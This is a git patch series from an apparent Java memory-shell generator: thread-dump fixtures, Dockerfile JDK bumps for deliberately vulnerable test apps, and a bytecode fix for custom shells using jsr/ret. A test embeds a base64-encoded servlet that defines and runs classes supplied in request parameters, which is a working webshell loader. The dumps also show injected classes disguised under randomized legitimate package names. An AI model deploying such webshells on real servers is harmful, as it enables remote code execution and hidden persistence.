java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3585ff + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) -"reactor-http-nio-2" #22 daemon [RUNNABLE] +"boundedElastic-evictor-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74fc5fed + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"reactor-http-nio-1" #35 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) - at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) @@ -77,44 +118,73 @@ ThreadStacks: at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE -"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@636af96d +"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1dc92888 java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-4" #40 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@2a63db04 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) -"server" #21 [WAITING] on java.util.concurrent.CountDownLatch$Sync@34173b14 +"server" #36 [WAITING] on java.util.concurrent.CountDownLatch$Sync@655b9ca java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:211) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:715) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1047) - at java.base@17.0.17/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:221) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:788) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1133) + at java.base@21.0.11/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91) at reactor.core.publisher.Mono.block(Mono.java:1773) at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1ac9929 - java.lang.Thread.State: WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) - at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) - -"DestroyJavaVM" #23 [RUNNABLE] - java.lang.Thread.State: RUNNABLE - -"reactor-http-nio-5" #26 daemon [RUNNABLE] +"reactor-http-nio-5" #41 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) - at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) - at org.apache.commons.XZlyH.ErrorUnpvzHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.junit.ckpSo.ErrorEexqqHandler.toString(BasicInfoPrinter.java:26) at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32) - at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58.apply(Unknown Source) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58.apply(Unknown Source) at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132) at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861) at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353) @@ -156,75 +226,24 @@ ThreadStacks: at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"Reference Handler" #2 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) - at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) - at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) - -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"reactor-http-nio-4" #25 daemon [RUNNABLE] +"Signal Dispatcher" #11 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) - at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) - at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) - at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) - at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) - at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) - at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) - at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) - at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) - at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) -"reactor-http-nio-3" #24 daemon [RUNNABLE] +"Reference Handler" #9 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) - at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) - at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) - at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) - at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) - at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) - at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) - at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) - at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) - at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - -"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@26f677bd - java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) - -"boundedElastic-evictor-1" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e3539f - java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) - at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) - at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) -"reactor-http-nio-1" #20 daemon [RUNNABLE] +"reactor-http-nio-3" #39 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) - at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) - at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) @@ -233,14 +252,15 @@ ThreadStacks: at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) =========================================== StackClassNames: com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController -com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58 +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58 io.netty.channel.AbstractChannelHandlerContext io.netty.channel.CombinedChannelDuplexHandler io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext @@ -256,7 +276,7 @@ io.netty.handler.codec.ByteToMessageDecoder io.netty.util.concurrent.FastThreadLocalRunnable io.netty.util.concurrent.SingleThreadEventExecutor$5 io.netty.util.internal.ThreadExecutorMap$2 -org.apache.commons.XZlyH.ErrorUnpvzHandler +org.junit.ckpSo.ErrorEexqqHandler org.springframework.boot.reactor.netty.NettyWebServer$1 reactor.core.publisher.BlockingSingleSubscriber reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber diff --git a/vul/vul-springboot4-webflux/Dockerfile b/vul/vul-springboot4-webflux/Dockerfile index f9c18847..52996e41 100644 --- a/vul/vul-springboot4-webflux/Dockerfile +++ b/vul/vul-springboot4-webflux/Dockerfile @@ -1,4 +1,4 @@ -FROM eclipse-temurin:17.0.17_10-jdk +FROM eclipse-temurin:21.0.11_10-jdk WORKDIR /app COPY build/libs/vul-springboot4-webflux.jar /app/app.jar diff --git a/vul/vul-springboot4/Dockerfile b/vul/vul-springboot4/Dockerfile index e0d12aa5..85317be8 100644 --- a/vul/vul-springboot4/Dockerfile +++ b/vul/vul-springboot4/Dockerfile @@ -1,4 +1,4 @@ -FROM eclipse-temurin:17.0.17_10-jdk +FROM eclipse-temurin:21.0.11_10-jdk WORKDIR /app COPY build/libs/vul-springboot4.jar /app/app.jar From 27fa718ff5d18ce01f21b2c3ab5b346a2bf27d9a Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 26 Aug 2026 13:54:31 +0800 Subject: [PATCH 09/20] fix: custom shell with jsr/ret generate failed --- .../generator/ByteBuddyShellGenerator.java | 6 +- .../generator/CustomShellGenerator.java | 40 + .../generator/CustomShellGeneratorTest.java | 2 +- .../infos/Bes10ContainerTestBasicInfo.txt | 817 ++++++++++++++++++ 4 files changed, 863 insertions(+), 2 deletions(-) create mode 100644 integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index a9395fcd..1435850f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -23,6 +23,10 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) { protected abstract DynamicType.Builder getBuilder(); + protected int getTargetJreVersion() { + return shellConfig.getTargetJreVersion(); + } + protected byte[] postProcessBytes(byte[] classBytes) { return classBytes; } @@ -43,7 +47,7 @@ public byte[] getBytes() { builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig) .name(shellClassName) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + .visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion())); try (DynamicType.Unloaded unloaded = builder.make()) { byte[] bytes = postProcessBytes(unloaded.getBytes()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java index a263228e..2e2b7347 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java @@ -7,6 +7,10 @@ import net.bytebuddy.dynamic.ClassFileLocator; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.jar.asm.ClassReader; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Label; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.pool.TypePool; import org.apache.commons.lang3.StringUtils; @@ -17,6 +21,7 @@ * @since 2025/3/18 */ public class CustomShellGenerator extends ByteBuddyShellGenerator { + private boolean containsSubroutines; public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { super(shellConfig, customConfig); @@ -27,6 +32,7 @@ protected DynamicType.Builder getBuilder() { String shellClassBase64 = shellToolConfig.getShellClassBase64(); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); ClassReader classReader = new ClassReader(classBytes); + containsSubroutines = containsSubroutines(classReader); String className = classReader.getClassName().replace('/', '.'); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { shellToolConfig.setShellClassName(className); @@ -43,4 +49,38 @@ protected DynamicType.Builder getBuilder() { return new ByteBuddy() .redefine(typeDescription, compoundLocator); } + + @Override + protected int getTargetJreVersion() { + // Byte Buddy cannot emit a class version newer than Java 5 when the + // source bytecode contains legacy jsr/ret subroutines. Keep such + // custom classes at Java 5; Java 6+ runtimes can load them as well. + return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion(); + } + + private static boolean containsSubroutines(ClassReader classReader) { + final boolean[] found = {false}; + classReader.accept(new ClassVisitor(Opcodes.ASM9) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + return new MethodVisitor(Opcodes.ASM9) { + @Override + public void visitJumpInsn(int opcode, Label label) { + if (opcode == Opcodes.JSR) { + found[0] = true; + } + } + + @Override + public void visitVarInsn(int opcode, int var) { + if (opcode == Opcodes.RET) { + found[0] = true; + } + } + }; + } + }, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); + return found[0]; + } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 2c98c76e..958fbcf2 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -95,7 +95,7 @@ void testValue() { @Test @SneakyThrows - void testJakartaServlet(){ + void testJakartaServlet() { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAG